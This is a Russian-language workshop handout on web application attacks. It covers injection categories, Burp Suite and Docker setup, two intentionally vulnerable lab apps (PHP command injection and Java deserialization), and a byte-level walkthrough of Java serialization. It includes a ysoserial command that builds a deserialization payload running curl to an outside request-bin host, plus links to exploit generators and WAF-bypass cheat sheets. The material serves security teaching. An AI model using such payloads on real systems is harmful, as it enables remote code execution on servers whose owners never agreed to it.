owned this note
owned this note
Published
Linked with GitHub
# Самые эффективные атаки на веб-приложения
## Ожидания от workshop'a
```
Общаемся 1.5 часа с перерывом на 15 минут
Моя задача рассказать об интересных атаках и объяснить как научиться их проводить
Первый час будет рассказ об атаках на веб приложения
Второй час будет демонстрацией практического применения атак
```
**Будет сложно?** - Да, будет
**Будет больно?** - Сначала нет, потом да
**Будет полезно?** - Конечно, да
## ПО для подготовки
- Установленная и настроенная среда для работы с docker.
(Для Windows: https://docs.docker.com/docker-for-windows/install/,
Для MacOS: https://docs.docker.com/docker-for-mac/install/)
- Установленный инструмент для анализа и модификации трафика Burp Suite Community Edition: https://portswigger.net/burp/
- Настройка BurpSuite для браузера Mozilla: https://portswigger.net/support/configuring-firefox-to-work-with-burp
- Настройка BurpSuite Proxy: https://portswigger.net/support/checking-your-browser-proxy-configuration
- Настройка сертификатов для проксирования трафика SSL в BurpSuite: https://portswigger.net/support/installing-burp-suites-ca-certificate-in-your-browser
### Код приложения
Код простого приложения: https://dropmefiles.com/9CSzp
Код сложного приложения: https://dropmefiles.com/k2y7t
## Обо мне
**Egor Bogomolov**
Security specialist, Application security expert
**My skills**
- Анализ защищенности веб-приложений (BlackBox, GrayBox, WhiteBox)
- Анализ защищенности мобильных приложений Android, iOS (BlackBox, GrayBox, WhiteBox)
- Анализ защищенности беспроводных сетей
- Проведение атак на сотрудников компаний с применением методов социальной инженерии
- Разработка задач и проведение CTF турниров
- Работа с инфраструктурой (docker / docker-compose)
- Анализ кода (PHP, Python, Java, JS)
- Безопасность Windows / Linux
- Разработка инструментов автоматизации процессов анализ защищенности
**Certificates**
Offensive Security Certified Professional (OSCP)
**Links**
Telegram: @empty_jack
Telegram Channel: @YAH_Channel
E-mail: empty.jack@yandex.ru
Corp: e.bogomolov@hackeru.com
**Work experience**
Positive Technologies | InfoSec.ru | Bi.Zone | Wallarm | HackerU
## HackerU
![](https://i.imgur.com/yv0INDj.png)
- Программы разрабатываются с учетом образовательного опыта, накопленного в 13-ти странах мира на протяжении двух десятков лет.
- Ядро экспертизы - мировой опыт Израиля - лидера в вопросах борьбы с киберпреступностью
- Обучение проводят эксперты, работающие в крупнейших российских и зарубежных IT компаниях.
- Миссия HackerU — сократить дефицит специалистов в области информационных технологий, кибербезопасности и открыть талантливым людям путь к высокому заработку и мобильности.
## Современные веб-приложения
![](https://i.imgur.com/vwVKzwm.png)
Из чего состоят?
1. Клиентская часть
2. Серверная часть
3. Хранилище данных
4. Прочие компоненты
## Компоненты современных веб-приложений
| Клиентская часть | Серверная часть | Хранение данных | Другие компоненты |
| ---------------- | --------------- | --------------- | ----------------- |
| Electron | Nginx | Files System | Reverse-Proxy |
| JavaScript | Apache | MySQL | Load Balancer |
| TypeScript | Apache Tomcat | PostgreSQL | Proxy Server |
| ReactJS | Microsoft IIS | mongoDB | Cache Server |
| Redux | Gunicorn | Oracle | WebSocket |
| AngularJS | uWSGI | IBM DB 2 | Web Application Firewall |
| Vue.js | Java | Microsoft SQL Server | |
| jQuery | Python | SQLite | |
| | PHP | Redis | |
| | NodeJs | Memcached | |
| | C# | Neo4j | |
| | Go | Tarantool | |
| | RubyOnRails | XML | |
| | | YAML | |
## Уязвимости
![](https://i.imgur.com/lwes2Vp.png)
"В компьютерной безопасности термин «уязвимость» (англ. vulnerability) используется для обозначения недостатка в системе, используя который, можно намеренно нарушить её целостность и вызвать неправильную работу." - Wiki
"Компьютерная атака - целенаправленное несанкционированное воздействие на информацию, на ресурс автоматизированной информационной системы или получение несанкционированного доступа к ним с применением программных или программно-аппаратных средств." - Wiki
## Самые эффективные атаки
Какая атака будет самой эффективной? (Которая позволит захватить полное управление над всеми компонентами системы)
### Самые популярные уязвимости и угрозы
![](https://i.imgur.com/lyj0xGV.png)
**Вопрос:** Какие уязвимости могут к такому результату привести?
## Атаки на уязвимости инъекции
Отличное описание данного вида инъекций: https://cwe.mitre.org/data/definitions/74.html
Разбор уязвимостей инъекции с примерами и формализацией: https://owasp.org/www-community/Injection_Theory
Разновидность контекстов в которые может происходить инъекция:
* SQL запросы;
* LDAP запросы;
* Интерпретаторы команд операционной системы;
* Программный код;
* XML документы;
* HTML документы;
* JSON структуры;
* HTTP заголовки;
* Пути файлов;
* URL;
* Разнообразные скриптовые языки (Expression languages);
* Протоколы обмена данными;
* ...
## Практика
![](https://i.imgur.com/Fom8uTt.png)
Нас ждет: Проработка двух примеров атак (простого и сложного) на уязвимые веб-приложения, разработанные на языках PHP и Java.
### Первый пример (Простой)
Язык программирования: PHP
Уязвимость: инъекция команд
Код приложения: https://dropmefiles.com/9CSzp
Запуск (в папке с кодом):
```
docker-compose up
```
### Второй пример (Сложный)
Язык: Java
Уязвимость: инъекция объектов и атаки на десериализацию
Код приложения: https://dropmefiles.com/k2y7t
Запуск (С использованием Docker Hub):
```
docker run -p 8090:8090 greendog/wv_java
```
Thx to @GrrrDog (Взято с: https://github.com/GrrrDog/ZeroNights-WebVillage-2017/tree/master/javadeser)
#### Пояснения к сложному примеру
Сериализация (Serialization) — это процесс, который переводит объект в последовательность байтов, по которой затем его можно полностью восстановить.
![](https://i.imgur.com/68m6RpE.png)
Подробнее о процессе сериализации: https://habr.com/ru/post/60317/
Пример класса:
```java
import java.io.Serializable;
class TestSerial implements Serializable {
public byte count = 0;
public byte version = 100;
}
```
Пример сериализованного объекта из класса:
```
AC ED 00 05 73 72 00 0A 53 65 72 69 61 6C 54 65
73 74 A0 0C 34 00 FE B1 DD F9 02 00 02 42 00 05
63 6F 75 6E 74 42 00 07 76 65 72 73 69 6F 6E 78
70 00 64
```
Давайте рассмотрим, что собой представляет каждый байт в сериализованном объекте. В начале идёт информация о протоколе сериализации:
* `AC ED`: STREAM_MAGIC. Говорит о том, что используется протокол сериализации.
* `00 05`: STREAM_VERSION. Версия сериализации.
* `0x73`: TC_OBJECT. Обозначение нового объекта.
На первом шаге алгоритм сериализации записывает описание класса ассоциированного с объектом. В примере был сериализован объект класса TestSerial, следовательно алгоритм начал записывать описание класса TestSerial.
* `0x72`: TC_CLASSDESC. Обозначение нового класса.
* `00 0A`: Длина имени класса.
* `53 65 72 69 61 6c 54 65 73 74`: TestSerial, имя класса.
* `A0 0C 34 00 FE B1 DD F9`: SerialVersionUID, идентификатор класса.
* `0x02`: Различные флаги. Этот специфический флаг говорит о том, что объект поддерживает сериализацию.
* `00 02`: Число полей в классе.
Теперь алгоритм записывает поле byte version = 100;.
* `0x42`: Код типа поля. 42 это «B», которое закреплено за Byte.
* `00 05`: Длина имени поля.
* `63 6F 75 6E 74 42`: count, имя поля.
Затем алгоритм записывает следующее поле, byte version = 100; и заканчивает описание полей класса.
* `0x42`: Код типа поля.
* `00 07`: Длина имени поля.
* `76 65 72 73 69 6F 6E`: version, имя поля.
* `0x78`: TC_ENDBLOCKDATA, конец опционального блока данных для объекта.
* `0x70`: TC_NULL, обозначает то что больше нет суперклассов, потому что мы достигли верха иерархии классов.
До этого алгоритм сериализации записывал описание классов ассоциированных с объектом. Теперь будут записаны фактические данные ассоциированные с объектом.
* `00`: Значение поля count - 0
* `64`: Значение поля Version - 100
The end.
Атаки десериализации: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
Еще больше про атаки десериализации: https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
Генерация эксплойтов: https://github.com/frohoff/ysoserial (Для работы необходим JRE или JDK)
Эксплуатация десериализации довольно сложна, так как готовые эксплойты редко работают без изменений или настроек базового кода эксплойта.
Команда для генерации эксплойта при помощи ysoserial для определенного нами случая:
```
java -jar ysoserial.jar CommonsCollections1 'curl https://end0tza2akqhv.x.pipedream.net/' | base64
```
# Misc
JSON etc poheck:
```
https://github.com/mbechler/marshalsec
```
Request Bin
```
http://requestbin.net/
http://requestbin.com/
```
CyberChef:
```
https://gchq.github.io/CyberChef/
```
WAF Bypass:
```
https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet
```